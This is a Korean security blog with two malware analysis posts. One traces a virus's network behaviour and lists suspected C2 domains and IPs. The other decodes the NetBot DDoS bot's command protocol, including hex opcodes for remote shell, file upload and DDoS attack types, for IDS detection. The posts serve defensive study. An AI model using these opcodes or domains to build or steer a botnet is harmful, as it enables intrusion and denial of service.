일단 감염이된 PC는 같은 네트워크 대역의 살아있는 호스트들을 찾습니다.




그리고 응답이 오는 호스트가 있으면 MS08-067 취약점에 대해서 공격을 시도합니다.




추가적인 전파를 위해 같은 네트워크 대역에 PING을 날립니다. 그리고 B클래스를 고정시키고 C클래스를 하나씩 늘려가면서 계속 PING을 날리는 지독함까지 보여주고 있습니다. -_-




그리고 youtube.srv837.com이라는 도메인에 대한 쿼리를 보내고 접속을 한 후 mgg.txt 파일을 요청을 합니다. 그런데 mgg.txt 파일에는 별다른 내용은 없고 ????????!!! :@% 와 같은 문자열이 몇줄 있었습니다. 수상해서 직접 저 도메인에 접속을 해보니 이번에는 _album9837.src이라는 스크린세이버 파일을 다운 받았습니다. 이 파일은 처음에 실행되었던 system.exe 파일과 동일한 파일이었습니다. 직접 실행해보니 실행 잘되고 또 처음에 봤던 sex.pornoturkiye.com으로 쿼리 날리는 행동부터 했었습니다.




0x03 결론

다들 아시다시피 대부분의 악성코드들은 도메인 네임을 주로 사용합니다. 그래서 ISP들도 도메인을 많이 차단을 하죠.
이번 2090 바이러스가 처음 전파되는 과정에서 KISA와 ISP 모두 sex.pornoturkiye.com 도메인을 차단했었습니다.
저도 처음엔 그러려니 했었는데 직접 확인해보니 다른 도메인들이 더 나왔습니다. 2090 바이러스로 인해 발생되는 DNS 쿼리 확인 결과 다음과 같은 숙주도메인이나 의심되는 악성 도메인을 찾을 수 있었습니다.

sex.pornoturkiye.com (85.17.136.148)
hosted-by.leaseweb.com (85.17.136.148)
youtube.srv837.com (72.167.232.8)
p3nlh003.shr.prod.phx3.secureserver.net (72.167.232.8)


물론 바이너리를 분석해봐야 더 정확한 내용을 알 수 있겠지만 저는 해당 바이러스를 실행시킴으로써 발생되는 트래픽만을 가지고 분석했습니다.
아직 바이너리를 능숙하게 분석할 능력이 부족하여...ㅜ.ㅜ
조만간 바이너리도 분석을 해보고 정확한 데이터가 나오면 다시 글을 게재하겠습니다.



p.s 지금 이 글을 쓰고 있는 상황에서 85.17.136.148 IRC 서버에 계속 접속해 있는 상태인데 별다른 행동없이 PING/PONG만 하고 있습니다.
아마도 공격자가 잠을 자고 있는게 아닐런지...-_-
whois에서 검색해보면 IRC 서버 IP가 네델란드로 나옵니다.


Posted by demantos
0x02 analysis2009. 2. 25. 11:37

0x00 Intro

현재 대부분의 IDS들은 서비스 거부 공격 관련 트래픽을 탐지하고 경보를 알릴 수 있습니다.
탐지된 이벤트의 내용을 보면 임계치 설정 후 임계치를 넘었을 경우 경보를 알리는데 공격자와 공격대상이 있겠죠..
문제는 여기서 발생합니다. IDS에서 탐지되어 이야기하는 공격자는 실제 공격자가 아니라 좀비들이라는 것이죠..
물론 이런 좀비드을 분석하다 보면 악성봇들을 발견하고 악성봇 파일을 수집하여 행동분석을 하거나 바이너리를 분석하면 되겠지만
실질적인 해결 방법은 아니라고 생각됩니다.
그럼 실질적인 해결 방법은 무엇일까요?

공격자 ----------------------> 좀비 ----------------------> 공격대상
             명령전송                     IDS 탐지

보시는 것과 같이 좀비가 공격대상에게 거대한 트래픽을 발생시키는 것을 IDS는 탐지하지만 이 부분은 탐지해봐야 별 소용이 없습니다.
실질적으로 DDoS 공격을 차단하고자 한다면 공격자가 좀비에게 전송하는 명령을 잡아서 차단해버리면 됩니다.
DDoS 차단 솔루션들이 어떤 방식을 사용하는지 모르겠지만 단순히 트래픽을 줄여주는 역할을 한다면 임시방편적인 해결밖에는 안된다는 것이죠..
좀 더 현실적이고 실질적인 차단 방법이 필요합니다.

그래서 작년 국내를 강타한 대표적인 봇 프로그램인 넷봇에 대한 패킷을 분석해 보았습니다.
좀비가 공격대상에게 보내는 트래픽 분석 결과 별다른 내용은 없었습니다.

본 문서에서는 넷봇의 기능보다는 공격자가 좀비에게 전달하는 명령과 관련된 패킷을 분석하는데 초점을 맞추었습니다.


0x01 Client(Attacker)



테스트 버전은 VIP 4.6버전 중문어판입니다. 영문어판은 구하기가 힘들어서...-_-;
메인화면에는 좀비들의 리스트가 올라오고 좀비들을 선택하여 DDoS 공격에 사용할 수 있습니다.
그 외  각각의 좀비들의 PC에 접근하여 모든 제어가 가능합니다.


0x02 Server(Zombie)

좀비PC에 설치될 서버 프로그램은 공격자의 IP와 Port 정보만 입력하면 생성이 가능합니다. 이런 서버 프로그램은 모든 수단과 방법을 동원하여 좀비PC에 설치가 되면 됩니다. 설치하는 방법은 여러가지 있을 수 있겠지만 iframe과 같은 태그를 이용해서 서버 프로그램을 다운 받을 주소를 삽입시켜 사용자들 모르게 설치할 수도 있고 SQL Injection을 통해 악성페이지 링크를 삽입하는 방법을 사용할 수도 있습니다.(Mass SQL Injection)

일단 좀비가 되면 서버 프로그램에 지정된 IP와 Port로 연결을 시도합니다. 공격자가 UI 프로그램을 실행 중이라면 바로 연결이 되겠지만 UI 프로그램을 실행하지 않고 있는 경우에는 계속해서 SYN 패킷을 보내 연결을 시도합니다.



위 그림에서 10.10.10.12는 좀비PC이고 20.20.20.20이 공격자입니다. 계속해서 SYN 패킷을 보내다가 공격자가 프로그램을 실행하면서 연결되는 것을 확인할 수 있습니다. 그리고 연결과 동시에 좀비가 어떤 데이터를 PSH하는 것을 볼 수 있는데 이것은 좀비PC의 사양과 관련된 정보들을 전송하는 것입니다. 운영체제라든지 국가, 메모리 용량, CPU의 정보들이죠..
아마도 공격자가 DDoS 공격에 사용하기 위해 좀 더 높은 사양의 좀비들을 구분하기 위해서 만들어 둔게 아닌가 생각됩니다.


0x03 Packet Analysis

결론부터 말씀드리고 세부적인 내용으로 들어가겠습니다. 패킷을 분석해보니 offset 0x36부터 4바이트 또는 5바이트 만큼이 공격자가 좀비에게 명령을 전송하는 부분이었습니다. 다른 DDoS 프로그램들은 패킷을 확인해보면 문자열이 들어 있어서 쉽게 찾을 수 있었는데 넷봇은 문자열이 아닌 HEX 코드로 명령을 구분하고 있었습니다. 처음 분석할 때 이것때문에 좀 헤맸습니다. -_-;;

 

위 패킷은 공격자가 좀비PC에 연결하여 원격쉘을 실행한 후 명령을 실행했을 때 나타나는 패킷입니다.

offset 0x36부터 4바이트인 0a 00 00 21 이 공격자가 좀비에게 전송하는 명령부분입니다.
0a는 파일을 업로드하겠다는 의미이고 21은 File Manage 메뉴라는 의미입니다.
즉, File Manage라는 메뉴에서 파일 업로드 기능을 실행한다는 것이죠. 좀 더 자세히 보자면 아래와 같습니다.

 

중간의 2바이트만큼의 00 00은 어떤 의미인지 확실하지 않습니다만 여러 기능들을 사용하면서 패킷을 분석한 결과 큰 의미를 갖지 않는 것으로 보입니다. 항상 00 00 으로 나오기 때문에...

여러 기능들을 사용하면서 패킷을 캡쳐해서 분석한 결과 다음과 같은 공격코드들을 확인할 수 있었습니다.

File manage 00 00 00 21 항목 선택시
01 00 00 21 창 닫을 때
02 00 00 21 하드 디스크 목록, 최초 항목 선택시 디스크 목록이 나옴
03 00 00 21 새로고침, 디스크 세부 목록
04 00 00 21 파일 삭제
06 00 00 21 붙여넣기
0a 00 00 21 파일 업로드
08 00 00 21 파일 다운로드
Process Query 00 00 00 25 항목 선택시
01 00 00 25 창 닫을 때
02 00 00 25 refresh process
03 00 00 25 close process
Screen View 01 00 00 22 항목 선택시
02 00 00 10 화면 표시
Remote Shell 00 00 00 23 항목 선택시
02 00 00 23 명령 실행시
Video Capture 00 00 00 28 항목 선택시
Power Off 01 00 00 20  
Reboot 02 00 00 20  
Login Off 03 00 00 20  
Uninstall 00 00 00 20  


위 표를 보시면 아시겠지만 File Manage와 관련된 명령은 4번째 바이트가 21이고 프로세스와 관련된 명령은 25입니다. 그리고 원격쉘은 23이고 전원과 관련된 명령은 20으로 확인할 수 있습니다.

DDoS 공격 명령은 약간 달랐는데 일반 명령과 달리 4바이트가 아닌 5바이트를 사용하고 있었습니다.

 

위 패킷은 DDoS 메뉴에서 공격타입을 CC Attack으로 했을때 발생하는 패킷입니다. (좀비가 공격대상에게 보내는 패킷)
보시는 것과 같이 Cache-Control 헤더에 no-cache라고 되어 있는 것을 볼 수 있습니다.

 

공격자가 좀비에게 보내는 패킷을 보면 위와 같이 00 00 00 30 08 5바이트 만큼을 공격에 사용하고 있습니다. DDoS 메뉴는 30이라는 값을 갖습니다. 그리고 그 뒤에 바로 나오는 08은 공격타입입니다. 테스트했던 VIP 4.6버전은 공격타입이 총 18가지였습니다. 즉, 모든 공격 명령을 전송하고 패킷을 캡쳐해보면 offset 0x3a부분에는 01부터 12까지 나오게 됩니다.

00 00 00 30 08

30은 DDoS 공격을 수행하라는 명령이고
08은 DDoS 공격 중 CC Attack을 하라는 명령입니다.


0x04 Conclusion

패킷을 분석한 결과 offset 0x36부터 4바이트 또는 5바이트만큼을 명령 전송을 위해 사용하고 있었습니다.
그렇다면 IDS에서 이 부분만 검사하여 위와 같은 패킷이 존재한다면 탐지하는 규칙을 만들었을때 오탐이 발생하지 않을까요?

제 생각은 "오탐이 발생할 수 있다" 입니다.
왜냐하면 다른 패킷들이 offset 0x36 위치에서 넷봇과 동일한 패킷이 발생할 수 있기 때문이죠.
나오지 않을꺼라는 장담은 할 수 없을테니까요..

그럼 이건 어떨까요?

좀비가 공격자에게 연결하기 위해 SYN 패킷을 보내다가 공격자가 UI 프로그램을 실행하면 연결하게 됩니다.
그리고 좀비 자신의 정보를 보내게 되죠.
좀비가 공격자에게 접속할 시 발생되는 패킷을 분석해서 특정 패턴을 잡아내보면 어떨까요?

제가 패킷을 분석해보니 특정 패턴이 나오긴 하는데 어떤 의미인지 확실하지가 않았습니다.
이 부분은 이 글을 읽고 계신 여러분들께 숙제로 남겨드리겠습니다. ^^;;

 

Posted by demantos